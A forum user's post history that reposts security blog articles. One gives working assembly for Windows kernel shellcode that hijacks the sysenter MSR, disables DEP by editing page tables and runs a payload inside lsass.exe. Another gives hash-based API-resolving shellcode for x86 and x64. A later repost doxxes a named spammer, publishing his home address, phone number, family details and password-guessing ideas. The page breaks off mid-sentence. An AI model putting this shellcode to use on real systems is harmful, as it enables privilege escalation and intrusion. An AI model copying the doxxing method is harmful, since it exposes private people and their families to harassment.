Jump to content

Nytro

Administrators
  • Posts

    18713
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Implementing a Win32 Kernel Shellcode Introduction This blog post will discuss the implementation of a win32 kernel mode shellcode which will deliver an independent user mode payload. Most of the techniques used in this shellcode are discussed in the excellent 2005 paper 'Kernel-mode Payloads on Windows' by bugcheck and skape. The shellcode works against all current Windows kernels and we will see how several assumptions regarding memory locations, can be made in order to both store the kernel mode shellcode as well as disable DEP for the user mode portions. The shellcode will work as follows. After gaining arbitrary code execution we will initially migrate out of the current kernel thread we are executing in by hijacking the sysenter Model Specific Register (MSR). Now whenever a user mode process performs a system call via the sysenter instruction, our kernel mode stager will get control. This stager will determine if it should hijack the user mode threads return address for the system call. If it does our user mode stager will get control and determine if it is executing in a predetermined SYSTEM process. If it is, the kernel mode sysenter hook is removed before finally executing the user mode payload. Should the user mode payload return cleanly, the hijacked user mode thread may resume execution normally. Kernel Mode Migration For our shellcode to work correctly we make several decisions as to where the shellcode will be placed in memory. From within kernel mode we will place our shellcode beginning at address 0xFFDF0400 which resides within the kernels Hardware Abstraction Layer (HAL) memory region. This memory is both writable and executable. It has the extra property of being mapped into the shared user data region (With a WinDbg symbol of SharedUserData, beginning at address 0x7FFE0000) of all user mode processes and as such can also be addressed from user mode using the address 0x7FFE0400 (We advance 0x400 bytes past the beginning of SharedUserData to avoid overwriting the critical information held there). From user mode on a Physical Address Extension (PAE) enabled system this memory will have the NX bit set marking it not executable as shown below in Listing 1. However we can easily overcome this in our kernel mode stager as described later. These addresses are not effected by ASLR and are static across all current versions of Windows. kd> !pte 0xFFDF0400 VA ffdf0400 PDE at 00000000C0603FF0 PTE at 00000000C07FEF80 contains 0000000000127063 contains 0000000000152163 pfn 127 ---DA--KWEV pfn 152 -G-DA—KWEV <- Executable bit is set kd> !pte 0x7FFE0400 VA 7ffe0400 PDE at 00000000C0601FF8 PTE at 00000000C03FFF00 contains 000000003D283867 contains 8000000000152005 pfn 3d283 ---DA--UWEV pfn 152 -------UR-V <- Executable bit is not set To hijack the sysenter MSR as shown below in Listing 2, we first read the value of the current sysenter MSR and save it to a known location so as we can restore it later. As we already know where we will place our kernel mode stager we proceed to set this value as the new sysenter MSR. We then copy our kernel mode stager and user mode stager over to this known location (0xFFDF0400). Finally we place the current kernel thread we are in into a halted state to avoid any stability issues should we instead attempt to either kill the thread or resume the threads execution. ring0_migrate_start: cld cli jmp short ring0_migrate_bounce ring0_migrate_patch: pop esi // pop off ring0_stager_start address // get current sysenter msr (nt!KiFastCallEntry) push 0x176 // SYSENTER_EIP_MSR pop ecx rdmsr // save original sysenter msr (nt!KiFastCallEntry) mov dword [esi+( ring0_stager_data - ring0_stager_start )+0], eax // retrieve the address in kernel memory where we will write the ring0 stager + ring3 code mov edi, dword [esi+( ring0_stager_data - ring0_stager_start )+4] // patch sysenter msr to be our stager mov eax, edi wrmsr // copy over stager to shared memory mov ecx, ( ring3_stager - ring0_stager_start ) rep movsb sti // set interrupt flag ring0_migrate_idle: hlt // Halt this thread to avoid problems. jmp short ring0_migrate_idle ring0_migrate_bounce: call ring0_migrate_patch // call the patch code, pushing the ring0_stager_start address to stack Kernel Mode Staging With both our kernel mode and user mode stagers resident in memory and the sysenter MSR hijacked, our kernel mode stager will get control upon any user mode process issuing a sysenter instruction. The kernel mode stager, shown below in Listing 3, will act as a proxy to the real sysenter function (nt!KiFastCallEntry), first preserving the state of the CPU before performing its actions and then restoring the state of the CPU and returning into the original sysenter function. The kernel mode stager will check to see if the user mode process which issued the system call, is instructing the stager to remove the sysenter MSR hook. The user mode stager, described later, will use this feature before executing the user mode payload. If the sysenter MSR hook is to be removed the address of the original sysenter function is restored to the correct MSR before the kernel mode stager returns. If the hook is not to be removed the kernel mode stager will determine if the return address for the user mode thread that issued the sysenter is to be patched in order to execute the user mode stager. How this is determined is to examine if the user mode return address from the system call is to a single RET instruction (As opposed to a 'RET 4' or 'RET 8' or any other instructions). This is to insure that the user mode stager can resume the hijacked user mode thread correctly if the user mode stager chooses not to execute the user mode payload (e.g. when not running in a SYSTEM process). This works because the user mode stager will also perform a single RET instruction when it is finished. If the kernel mode stager is to hijack the user mode return address, the address of the user mode stager is patched over the original return address held in the user mode threads stack (pointed to by EDX during a sysenter). Finally we must bypass DEP if we are running on a PAE enabled system so that the user mode stager can execute correctly. We can use the CPUID instruction to determine if the current CPU supports the NX bit. If it does we clear the NX bit from the Page Table Entry (PTE) which is associated with the user mode stager. Windows does not use any form of ASLR for the base of either its Page Directories or Tables which begin at 0xC0600000 and 0xC0000000 respectively on PAE enabled systems (Refer to page 771 of 'Windows Internals, Fifth Edition' by Mark Russinovich, David Solomin and Alex Ionescu). Knowing the address of the user mode stager (0x7FFE0400 + the length of the kernel mode stager), we can therefore determine the static address for the corresponding PTE, which will be 0xC03FFF00. By clearing the NX bit in this PTE we can disable DEP protection for the user mode stager. ring0_stager_start: push byte 0 // alloc a dword for the patched return address pushfd // save flags and registers pushad call ring0_stager_eip ring0_stager_eip: pop eax // patch in the real nt!KiFastCallEntry address as our return address mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 0] mov [ esp + 36 ], ebx cmp ecx, 0xDEADC0DE // see if we should remove sysenter hook jne ring0_stager_hook push 0x176 // SYSENTER_EIP_MSR pop ecx mov eax, ebx // set sysenter msr to be the real nt!KiFastCallEntry xor edx, edx wrmsr xor eax, eax // clear eax (the syscall number) so we can continue jmp short ring0_stager_finish ring0_stager_hook: // get the original r3 ret address mov esi, [ edx ] // (edx is the ring3 stack pointer) movzx ebx, byte [ esi ] // determine if the return is to a "ret" cmp bx, 0xC3 // only insert ring3 stager hook if we are to return to a single ret jne short ring0_stager_finish // calculate our r3 address in shared memory mov ebx, dword [eax + ( ring0_stager_data - ring0_stager_eip ) + 8] lea ebx, [ ebx + ring3_start - ring0_stager_start ] mov [ edx ], ebx // patch in our r3 stage as the r3 return address mov eax, 0x80000001 cpuid // detect if NX is present (clobbers eax,ebx,ecx,edx)... and edx, 0x00100000 // bit 20 is the NX bit jz short ring0_stager_finish // modify the correct PTE to make our ring3 stager executable mov edx, 0xC03FFF00 // we can default to this for now add edx, 4 and dword [ edx ], 0x7FFFFFFF // clear the NX bit ring0_stager_finish: popad // restore registers popfd // restore flags ret // return to real nt!KiFastCallEntry ring0_stager_data: dd 0xFFFFFFFF // saved nt!KiFastCallEntry dd 0xFFDF0400 // kernel memory address of stager dd 0x7FFE0400 // shared user memory address of stager User Mode Staging We now have our user mode stager executing in every thread in the system that issues a system call which returns to a single RET instruction. We examine the file path held in the Process Environment Block (PEB) of the current process to see if we are executing in a process which should be running with SYSTEM privileges. If we are not running in such a process the user mode stager will simply return, resuming the current threads execution correctly. If we are executing in a privileged process we proceed to issue a special system call in order to instruct the kernel mode stager to remove the sysenter hook. We then execute the user mode payload. ring3_start: pushad push byte 0x30 pop eax cdq // zero edx mov ebx, [ fs : eax ] // get the PEB cmp [ ebx + 0xC ], edx jz ring3_finish mov eax, [ ebx + 0x10 ] // get pointer to the ProcessParameters mov eax, [ eax + 0x3C ] // get the current processes ImagePathName // advance past '*:\windows\system32\' add eax, byte 0x28 // (we assume this as we want a system process). // compute a simple hash of the name (skapes technique). mov ecx, [ eax ] // get first 2 wide chars of name 'l\x00s\x00' add ecx, [ eax + 0x3 ] // and add '\x00a\x00s' cmp ecx, 'lass' // check the hash, default to hash('lsass.exe') // if we are not in the correct process, return to real caller. jne ring3_finish // otherwise we first remove our ring0 sysenter hook. call ring3_cleanup // and then call the real ring3 payload. call ring3_stager // should the payload return we can resume this thread correctly. jmp ring3_finish ring3_cleanup: mov ecx, 0xDEADC0DE // set the magic value for ecx mov edx, esp // save our esp in edx for sysenter sysenter // now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller). ring3_finish: popad ret // return to the original system calls caller ring3_stager: // ...ring3 payload here... ret Mitigation's Several mitigation's could be made in the kernel to make this type of shellcode unviable, although once arbitrary code execution has been gained mitigation's usually act more as an obstacle rather then being truly preventative. Both the Page Directories and Page Tables could have some form of ASLR employed so as determining Page Table Entries would be non trivial. This would help ensure DEP could not be circumvented when running the user mode stager. However, as the physical address of the page directory is held in the CR3 register it should be possible to resolve it to a virtual address programmatically. The kernel mode mapping of SharedUserData could be marked as not executable, removing the location where the kernel stager goes resident. However the respective PTE could still be modified to overcome this. Furthermore the entire HAL memory region should be subject to ASLR so as predetermined addresses cannot be chosen by the attacker. The kernel mode mapping of SharedUserData could not be mapped across all process address spaces, instead a separate user mode only mapping could be present for each processes SharedUserData region and mapped back into kernel memory only if needed. This could prevent the user mode stager from being 'injected' into each user mode process. Download http://www.harmonysecurity.com/files/win32_kernel_shellcode.asm Sursa: Harmony Security : Blog
  2. Calling API Functions Introduction An alternative approach for position independent code, such as shellcode, to call Windows API functions is shown below. Their are all ready many existing methods available, typically relying on parsing either the Import Address Table (IAT) or Export Address Table (EAT) of a specific module in order to locate the address of a required function. Some methods use a variation of the above where the kernel32 modules EAT (or a modules IAT entry referencing kernel32) is parsed in order to locate the functions LoadLibraryA and GetProcAddress and these two functions are then used to resolve the remaining function addresses (as well as loading in any modules not all ready present in the processes address space). If relying on GetProcAddress to resolve functions, the ASCII names of the functions must also be available, increasing the shellcodes size considerably. It is therefore common to use a hashing technique, typically based off the assembly rotate (ROR/ROL) instructions, in order to avoid this problem and create a more optimized solution. The 2003 paper 'Understanding Windows Shellcode' by Skape[1] is an excellent read to understand the various techniques fully. A good example of a well optimized shellcode is SkyLined's w32-bind-ngs-shellcode[2]. An Alternative Approach Another way to resolve function addresses is to use a hash combined of both the desired function name and its module name. The entire list of modules loaded in a process can be iterated over, calculating the respective hash value for each exported function and comparing it to that of the desired hash we are searching for. Once located we can proceed to resolve the functions address. Further more, we can wrap this functionality in a function which will act as a proxy, allowing the caller to indirectly call the desired API function. A pseudo x86 code example of using this technique is shown below on the left and for comparison a more traditional approach of achieving the same is shown on the right. push param2 // push the second parameter push param1 // push the first parameter push hash // push the hash of the function+module call api_call // resolve and indirectly call the desired function push hash // push the hash of the function + module push module_address // push the address of the module call resolve_api_address // resolve the desired function push param2 // push the second parameter push param1 // push the first parameter call api_address // directly call the desired function We can see from the above that their are some advantages, namely it takes only one call to both resolve and call any API function. We also do not need to keep track of any modules base addresses. All the source code shown below can be downloaded from this zip file CallingAPIFunctions.zip. Also included in the zip are the x86 and x64 versions of the eggtest application used to run and aid debugging of shellcode. Implementation – Win32 x86 Listed below is a 137 byte implementation of the technique described above. This implementation works on all versions of 32-bit Windows (Windows 7, 2008, Vista, 2003, XP, 2000, NT4). It is implemented as a function called 'api_call'. Its parameters are the hash value of the desired API function to call as well as all the desired API functions parameters. It returns the result of indirectly calling the desired API function. The stdcall calling convention (Used by all Win32 API functions) is honored in that the EAX, ECX and EDX registers are expected to be clobbered while the remaining registers will not be clobbered. [BITS 32] api_call: pushad // We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp // Create a new stack frame xor edx, edx // Zero EDX mov edx, [fs:edx+48] // Get a pointer to the PEB mov edx, [edx+12] // Get PEB->Ldr mov edx, [edx+20] // Get the first module from the InMemoryOrder module list next_mod: mov esi, [edx+40] // Get pointer to modules name (unicode string) movzx ecx, word [edx+38] // Set ECX to the length we want to check xor edi, edi // Clear EDI which will store the hash of the module name loop_modname: xor eax, eax // Clear EAX lodsb // Read in the next byte of the name cmp al, 'a' // Some versions of Windows use lower case module names jl not_lowercase sub al, 0x20 // If so normalise to uppercase not_lowercase: ror edi, 13 // Rotate right our hash value add edi, eax // Add the next byte of the name loop loop_modname // Loop untill we have read enough // We now have the module hash computed push edx // Save the current position in the module list for later push edi // Save the current module hash for later // Proceed to itterate the export address table, mov edx, [edx+16] // Get this modules base address mov eax, [edx+60] // Get PE header add eax, edx // Add the modules base address mov eax, [eax+120] // Get export tables RVA test eax, eax // Test if no export address table is present jz get_next_mod1 // If no EAT present, process the next module add eax, edx // Add the modules base address push eax // Save the current modules EAT mov ecx, [eax+24] // Get the number of function names mov ebx, [eax+32] // Get the rva of the function names add ebx, edx // Add the modules base address // Computing the module hash + function hash get_next_func: jecxz get_next_mod // When we reach the start of the EAT (we search backwards), process the next module dec ecx // Decrement the function name counter mov esi, [ebx+ecx*4] // Get rva of next module name add esi, edx // Add the modules base address xor edi, edi // Clear EDI which will store the hash of the function name // And compare it to the one we want loop_funcname: xor eax, eax // Clear EAX lodsb // Read in the next byte of the ASCII function name ror edi, 13 // Rotate right our hash value add edi, eax // Add the next byte of the name cmp al, ah // Compare AL (the next byte from the name) to AH (null) jne loop_funcname // If we have not reached the null terminator, continue add edi, [ebp-8] // Add the current module hash to the function hash cmp edi, [ebp+36] // Compare the hash to the one we are searchnig for jnz get_next_func // Go compute the next function hash if we have not found it // If found, fix up stack, call the function and then value else compute the next one... pop eax // Restore the current modules EAT mov ebx, [eax+36] // Get the ordinal table rva add ebx, edx // Add the modules base address mov cx, [ebx+2*ecx] // Get the desired functions ordinal mov ebx, [eax+28] // Get the function addresses table rva add ebx, edx // Add the modules base address mov eax, [ebx+4*ecx] // Get the desired functions RVA add eax, edx // Add the modules base address to get the functions actual VA // We now fix up the stack and perform the call to the desired function... finish: mov [esp+36], eax // Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx // Clear off the current modules hash pop ebx // Clear off the current position in the module list popad // Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx // Pop off the origional return address our caller will have pushed pop edx // Pop off the hash value our caller will have pushed push ecx // Push back the correct return value jmp eax // Jump into the required function // We now automagically return to the correct caller... get_next_mod: pop eax // Pop off the current (now the previous) modules EAT get_next_mod1: pop edi // Pop off the current (now the previous) modules hash pop edx // Restore our position in the module list mov edx, [edx] // Get the next module jmp short next_mod // Process this module Example - Win32 x86 Using the implementation given above (and assuming it has been saved to a file called 'x86_api_call.asm'), we can build a simple example which will execute the calc program and then terminate the process. [BITS 32] [ORG 0] cld // clear the direction flag call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x86_api_call.asm" start: pop ebp // pop off the address of 'api_call' for calling later push byte +1 // push the command show parameter lea eax, [ebp+command-delta] // calculate an address to the command line push eax // push the command line parameter push 0x876F8B31 // push the hash value for WinExec call ebp // kernel32.dll!WinExec( &command, SW_NORMAL ) push byte 0 // push the desired exit code parameter push 0x56A2B5F0 // push the hash value for ExitProcess call ebp // call kernel32.dll!ExitProcess( 0 ) command: db "calc.exe", 0 We can build the above example using the NASM assembler[4] with the command: >nasm -f bin -O3 -o x86_example.bin x86_example.asm We can run the example with the eggtest (included in zip file) program: >eggtest_x86.exe x86_example.bin Implementation - Win64 x64 We can of course use the same technique on 64bit Windows. Listed below is a 192 byte implementation of the technique described above for the x64 architecture. As before, it is implemented as a function called 'api_call'. The Win64 API use quite a different calling convention[3] to that of the Win32 API. The first four parameters to any function are passed in via the registers RCX, RDX, R8 and R9 respectively, with any remaining parameters being pushed onto the stack (Their are exception to this convention for floating point parameters). Another notable difference when coding for Win64 is that the Process Environment Block (PEB) must be retrieved from gs:96 as opposed to fs:48 on Win32. The desired functions hash value is passed in via register R10 in order to allow the registers RCX, RDX, R8 and R9 to be used for the desired function parameters. We can note that the hash values used do not need to be changed between architectures. [BITS 64] api_call: push r9 // Save the 4th parameter push r8 // Save the 3rd parameter push rdx // Save the 2nd parameter push rcx // Save the 1st parameter push rsi // Save RSI xor rdx, rdx // Zero rdx mov rdx, [gs:rdx+96] // Get a pointer to the PEB mov rdx, [rdx+24] // Get PEB->Ldr mov rdx, [rdx+32] // Get the first module from the InMemoryOrder module list next_mod: mov rsi, [rdx+80] // Get pointer to modules name (unicode string) movzx rcx, word [rdx+74] // Set rcx to the length we want to check xor r9, r9 // Clear r9 which will store the hash of the module name loop_modname: xor rax, rax // Clear rax lodsb // Read in the next byte of the name cmp al, 'a' // Some versions of Windows use lower case module names jl not_lowercase sub al, 0x20 // If so normalise to uppercase not_lowercase: ror r9d, 13 // Rotate right our hash value add r9d, eax // Add the next byte of the name loop loop_modname // Loop untill we have read enough // We now have the module hash computed push rdx // Save the current position in the module list for later push r9 // Save the current module hash for later // Proceed to itterate the export address table, mov rdx, [rdx+32] // Get this modules base address mov eax, dword [rdx+60] // Get PE header add rax, rdx // Add the modules base address mov eax, dword [rax+136] // Get export tables RVA test rax, rax // Test if no export address table is present jz get_next_mod1 // If no EAT present, process the next module add rax, rdx // Add the modules base address push rax // Save the current modules EAT mov ecx, dword [rax+24] // Get the number of function names mov r8d, dword [rax+32] // Get the rva of the function names add r8, rdx // Add the modules base address // Computing the module hash + function hash get_next_func: jrcxz get_next_mod // When we reach the start of the EAT (we search backwards), process the next module dec rcx // Decrement the function name counter mov esi, dword [r8+rcx*4]// Get rva of next module name add rsi, rdx // Add the modules base address xor r9, r9 // Clear r9 which will store the hash of the function name // And compare it to the one we want loop_funcname: xor rax, rax // Clear rax lodsb // Read in the next byte of the ASCII function name ror r9d, 13 // Rotate right our hash value add r9d, eax // Add the next byte of the name cmp al, ah // Compare AL (the next byte from the name) to AH (null) jne loop_funcname // If we have not reached the null terminator, continue add r9, [rsp+8] // Add the current module hash to the function hash cmp r9d, r10d // Compare the hash to the one we are searchnig for jnz get_next_func // Go compute the next function hash if we have not found it // If found, fix up stack, call the function and then value else compute the next one... pop rax // Restore the current modules EAT mov r8d, dword [rax+36] // Get the ordinal table rva add r8, rdx // Add the modules base address mov cx, [r8+2*rcx] // Get the desired functions ordinal mov r8d, dword [rax+28] // Get the function addresses table rva add r8, rdx // Add the modules base address mov eax, dword [r8+4*rcx]// Get the desired functions RVA add rax, rdx // Add the modules base address to get the functions actual VA // We now fix up the stack and perform the call to the drsired function... finish: pop r8 // Clear off the current modules hash pop r8 // Clear off the current position in the module list pop rsi // Restore RSI pop rcx // Restore the 1st parameter pop rdx // Restore the 2nd parameter pop r8 // Restore the 3rd parameter pop r9 // Restore the 4th parameter pop r10 // pop off the return address sub rsp, 32 // reserve space for the four register params (4 * sizeof(QWORD) = 32) // It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). push r10 // push back the return address jmp rax // Jump into the required function // We now automagically return to the correct caller... get_next_mod: // pop rax // Pop off the current (now the previous) modules EAT get_next_mod1: pop r9 // Pop off the current (now the previous) modules hash pop rdx // Restore our position in the module list mov rdx, [rdx] // Get the next module jmp next_mod // Process this module Example - Win64 x64 Using the x64 implementation given above (and assuming it has been saved to a file called 'x64_api_call.asm'), we can build another simple example which will execute the calc program and then terminate the process. [BITS 64] [ORG 0] cld // clear the direction flag and rsp, 0xFFFFFFFFFFFFFFF0 // Ensure RSP is 16 byte aligned call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x64_api_call.asm" start: pop rbp // pop off the address of 'api_call' for calling later mov rdx, 1 // param 2 is the command show parameter lea rcx, [rbp+command-delta] // param 1 is the address to the command line mov r10d, 0x876F8B31 // R10 = the hash value for WinExec call rbp // WinExec( &command, 1 ); mov rcx, 0 // set the exit function parameter mov r10d, 0x6F721347 // R10 = the hash value for RtlExitUserThread call rbp // call ntdll.dll!RtlExitUserThread( 0 ) command: db "calc.exe", 0 We can build the above example using the NASM assembler with the command: >nasm -f bin -O3 -o x64_example.bin x64_example.asm We can run the example with the eggtest (included in zip file) program: >eggtest_x64.exe x64_example.bin Forwarded Exports Modules may contain entries in their EAT which is actually a forwarded entry[5]. This means that instead of a modules export resolving to a function within that module, this export is instead intended to resolve to a function within another module. For example on Windows Vista, 2008 and 7 the export kernel32.dll!ExitThread is a forwarded export that points to ntdll.dll!RtlExitUserThread. This is achieved by storing the ASCII module name and function name that the forwarded export wishes to point to in the respective EAT entry (instead of an RVA). I am unaware of any shellcode implementations that attempt to resolve forwarded exports correctly (unless using kernel32.dll!GetProcAddress) and the implementation given above does not resolve forwarded exports either. It gets awkward quickly as you must first recognize that the export is a forwarded one, proceed to use LoadLibraryA to load the forwarded module (in order to retrieve its base address, and load it into the processes address space if it is not all ready present) and then GetProcAddress to resolve the forwarded function based off the ASCII function name given. For typical shellcodes the only function required which is a forwarded export is ExitThread as mentioned above. A workaround for this problem is to check at run time the current Windows platform and call the appropriate function to avoid calling a forwarded export as shown in the Win32 snippet below: exitfunk: mov ebx, 0x0A2A1DE0 // The EXITFUNK as patched in by the user... push 0x9DBD95A6 // hash( "kernel32.dll", "GetVersion" ) call ebp // GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 // If we are not running on Windows Vista, 2008 or 7 jl short goodbye // Then just call the exit function... cmp bl, 0xE0 // If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne short goodbye mov ebx, 0x6F721347 // Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: // We now perform the actual call to the exit function push byte 0 // push the exit function parameter push ebx // push the hash of the exit function call ebp // call EXITFUNK( 0 ); Hash Collisions An obvious concern when using hash values in the manner described here, is the occurrence of collisions between the hash of the function you are searching for and an arbitrary function in an arbitrary module which computes to the same hash value. To help determine the possibility of this, a simple python script can be used to scan all modules on a system, computing their exported functions hashes and detecting if a collision occurs against any predefined functions (e.g. common functions we might need to use such as kernel32.dll!WinExec or ws2_32!recv). The python script is included in the zip file (see start of this post) and uses the pefile package[6] to process a modules exports. This script has been run on multiple systems (Windows 7 RC1, 2008 SP1, Vista SP2, 2003 SP2, XP SP3, 2000 SP4 and NT4 SP6a), processing a total of 1,864,417 functions across 35,178 modules and detected no collisions against the functions defined (Please see the python script for more details). Metasploit Integration The majority of the Metasploit[7] x86 Windows payloads have been rewritten using the techniques presented here in order to bring Windows 7 and backwards compatibility to the stagers, stages and singles as well as considerable size reductions for the stagers and stages. Work on x64 payloads is under way. References [1] http://hick.org/code/skape/papers/win32-shellcode.pdf [2] w32-bind-ngs-shellcode - 211 byte null-free 32-bit Windows port-binding shellcode (all OS/SPs) - Google Project Hosting [3] Calling Convention [4] The Netwide Assembler | Download The Netwide Assembler software for free at SourceForge.net [5] Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2 [6] pefile - pefile is a Python module to read and work with PE (Portable Executable) files - Google Project Hosting [7] Metasploit Framework Penetration Testing Software | Metasploit Project Sursa: Harmony Security : Blog
  3. Pare sa aiba probleme psihice. De remarcat lenjeria de pat roz.
  4. Invasion of Privacy Un articol care poate va da putin de gandit, legat de ce informatii oferiti pe Internet despre voi. UPDATE (1/12/2011): I received an email from Steve regarding this post. He sincerely apologized for his actions and realized now that what he did was wrong and simply asked that I modify the post to protect the identities of his family. I felt that this was a fair request, considering that his family had nothing to do with what Steve did and it doesn’t jeopardize the impact of the article. So, if you’re wondering why you’re seeing all the “[withheld]“‘s, that’s why! PS – Yes, I realize the names are still shown in the images, but they’re not indexed by Google. I figured I’d point this out before I had 20,000 comments informing me of it. END OF UPDATE DISCLAIMER: This is ABSOLUTELY for informational purposes ONLY. attackvector.org nor I will be held responsible for how you choose to use the information that I post on my blog. This individual, though he is a douche for sending spam, is a real person with a real life. By misusing the information found here, you have the power to potentially destroy someones real life. There’s a fine line between a legal hack and a felony. Information gathering is not illegal so long as it’s obtained through legal means. Using the information, however, is quite another story. UPDATE: Because of something that one of my readers brought up, I want to clarify. The email that I received was not the run of the mill malware/spambot/whatever style email. The email was coming from his email address, using his business’s name, and advertising his business. I would have never posted this had I had any doubt that this may not have actually been sent, by him, in some fashion. END OF DISCLAIMER. I use spammers and pedophiles as test subjects when I’m working on something. This is mostly because it’s unlikely that they would go to the authorities and point the finger at me, knowing that I could easily turn around and say something to the effect of, “Well, yes I did pwn his box.. but you should have seen all the child porn I found on it.” owned x 2. I happened to receive a piece of spam at the exact moment as I was going to start a post about privacy and anonyminity on the internet. I will consider this to be a sign from God that this dude needed to be set straight. Okay, maybe not. I’m not sure what the bible says about spam.. but if I were God, it would be into the pits of hell for them. So, since I cannot cast people into eternal suffering in a firey pit, I will have to settle for second best. Pwnage! Whats even better, none of what I’m about to do is illegal. It’s a serious, serious invasion of privacy, and you definitely don’t want it to happen to you, but all of it can be harvested through public record, social networks, forum posts, etc etc etc. First, lets take a look at the email that I received. ..snip.. Received: from unknown (HELO p3pismtp01-017.prod.phx3.secureserver.net) ([10.6.12.17]) (envelope-sender ) by p3plsmtp09-04.prod.phx3.secureserver.net (qmail-1.03) with SMTP for ; 7 May 2010 01:05:53 -0000 X-IronPort-Anti-Spam-Result: AjYCAOP/4kvYI8QXnGdsb2JhbACeChUBAQEBAQgLCAkRIrxZgmCCMwSDQQ Received: from server299.com ([216.35.196.23]) by p3pismtp01-017.prod.phx3.secureserver.net with ESMTP; 06 May 2010 17:58:47 -0700 Received: (qmail 10509 invoked by uid 3287); 7 May 2010 00:58:46 -0000 Received: from 67.185.122.64 (SquirrelMail authenticated user steve) by www.barteritemsfortrade.com with HTTP; ..snip.. Ok, so, his email address is steve@barteritemsfortrade.com.. he’s sending email through server299.com.. and his real IP address is 67.185.122.64. All we really need is his email address and his IP. Lets see what we can find. Non-authoritative answer: 64.122.185.67.in-addr.arpa name = c-67-185-122-64.hsd1.wa.comcast.net. Now we know that he’s connecting from Washington (wa.comcast.net). Lets see what Geo IP location says. I use this service, but there are many others. I’ve also written a few tools to do this as well, but we’re going to use what the average Joe has access to. Just put the IP address in the box and hit “search”. Here’s what we find. Region: Washington City: Spokane Postal code: 99205 So, we’re narrowing it down.. we now know that it’s Spokane, Washington. Now we’re going to take a look at his email address. First, obviously, just google the email address. This will bring up information for virtually anything that the person has ever used their email on. Forums, social networks, etc. In this case, however, nothing came up on google. We must dig deeper. Enter, whois! BIZ TWO, LLC PO Box 8421 Spokane, Washington 99203 United States Biz two? Does that mean there is a Biz One and a Biz Three, perhaps? Also, he’s using a PO Box.. blah. ..snip.. Administrative Contact: Nicholas, Steve steve@bestimpressionz.com ..snip.. (509) 283-7030 Fax — (509) 456-3813 ..snip.. Jackpot! We now have a last name and a phone number. We also have an additional email address/domain. Administrative Contact: Your Logo Here snicho@juno.com 139 west 30th Avenue Spokane, WA 99203 US 509-456-3813 fax: 509-456-3813 Hmm.. a real address.. no PO box on this domain. Is that an office? A house? Is it his house? I can assume that ‘snicho’ is short for ‘steve nicholas’, and it’s the administrative contact, which means he owns the domain.. so the address has something to do with him. Enter.. Google Maps. (If you’re wonder why it says “140 west 30th” and not “139 west 30th”, it’s because I slid the camera down a bit and Google tried to be helpful by changing the address) Well, it’s definitely not an office building, so at this point I’m going to assume that it’s his house until I find out differently. We can further verify this by googling his name + city + state. That address looks rather familiar… oh yeah, it’s the address that was associated with his domain. We can be virtually certain at this point that that is his real address and house. Lets see who else lives in the house with him – just google the phone number listed. Ok, so, [withheld] has the same last name as Steve, so I think we can safely say that this is his wife. We’ll come back to her later. Lets see what else we can find about Steve.. I’m really starting to feel like family at this point. Back when I googled his name + city + state, I noticed that below the address result, there was a LinkedIn page.. lets check that out. Ok, so there’s all sorts of useful information.. but I found another email address.. steve.nicholas@itex.net Not often do I meet someone with as many email addresses as me.. lol. So, back up to the top, we google for steve.nicholas@itex.net. Some interesting stuff, but nothing really useful for my purposes. Lets check out Facebook and see if he’s a social butterfly. I log in and “search for friends” and enter his email address(es). His account is registered with the itex.net email address. He doesn’t have his Facebook stuff set to private, so he’s kind of letting it all hang out. Thanks, Steve! Yawn. The only thing interesting there, is that we’ve now definitely verified that that address is correct and that his wife’s name is definitely [withheld]. Maybe her page is more interesting.. lets look Note: Passwords.. by building a profile of someone, you begin to get a feel of who they really are. I’m willing to bet that at least one of Steve’s passwords has something to do with fishing, trout, or cutthroats (type of trout – according to his facebook page). [withheld]‘s Facebook: I teach 7th & 8th graders at Salk Middle School in Spokane WA. I married Steve 27 years ago and we have 2 daughters, [withheld] and [withheld]. [withheld] married [withheld (both first & last name)] 2 years ago and they are expecting their first child in March. [withheld] is an attorney and [withheld] is a special education teacher. [withheld] is living in Las Vegas where she teaches special education to preschoolers and kindergarten. We have an awesome family!!!! Here’s something to take a mental note of. Women are generally more open about their personal lives and love to share with others. In one paragraph, we learn that she teaches at Salk Middle School, they’ve been married for 27 years, they have 2 daughters, [withheld] and [withheld], [withheld] is married to [withheld (both first & last name)] (note – this probably means that [withheld] is no longer [withheld] Nicholas, she’s probably [withheld (both first & last name)]). [withheld] lives in Vegas. How ever would we find out more information about [withheld] and [withheld]? Oh yeah, friends lists. If the parents have Facebook, the kids most certainly have Facebook.. and barring any family drama, they’ll all be on each others friends lists. And, of course, I’m right.. found [withheld], [withheld], and [withheld]. Also, going through her wall posts gave up some information. They’re new grandparents.. their grandaughter [withheld] was born on March 15th.. this was [withheld] and [withheld]‘s daughter. Now, lets see what Intelius says about [withheld] (note – I skipped Steve on Intelius because his entry is all screwed up.) Now we have ages, too. It’s interesting that there’s a “Ralph Steve Nicholas” listed, who has the same age as the other two Steve’s listed. Could Steve’s real name be Ralph?? Ok, anyway, lets see what I can find out about their house. Just about every county in the country allows you to view property tax records on the internet. I googled “spokane washington property tax records”. What you’re looking for is like, the assessor’s home page then just punch in the address and you can find a wealth of information. What this record tells us, is that [withheld] actually owns the home.. Steve isn’t even listed. She’s also the sole person listed paying the property taxes. Interesting.. I wonder why? Also, further down on the report, there’s two documents. A quit claim deed, and a statutory warranty deed. A warranty deed is issued in some states when a house is sold. It protects the buyer from having third parties come after them for unpaid debts and whatever. So, it appears as though they bought the house in 2001 for $110,000? Seems awfully low. Now, lets look at the quit claim deed. First thing I notice. R Steve Nicholas is listed as “Husband of Grantee” I think Steve’s real name is Ralph. lol. This is interesting.. quit claim deeds are used after a divorce to switch the owner of a property from one party to another at the county level. But they’re still married. The other times that I’ve seen quit claim deeds used is when people encounter serious financial trouble and need to file bankruptcy. They file independently and deed the house to their spouse. Lets find out! I am not going to tell you what service I use to obtain this information because I don’t want it to get abused and taken away. Also, I 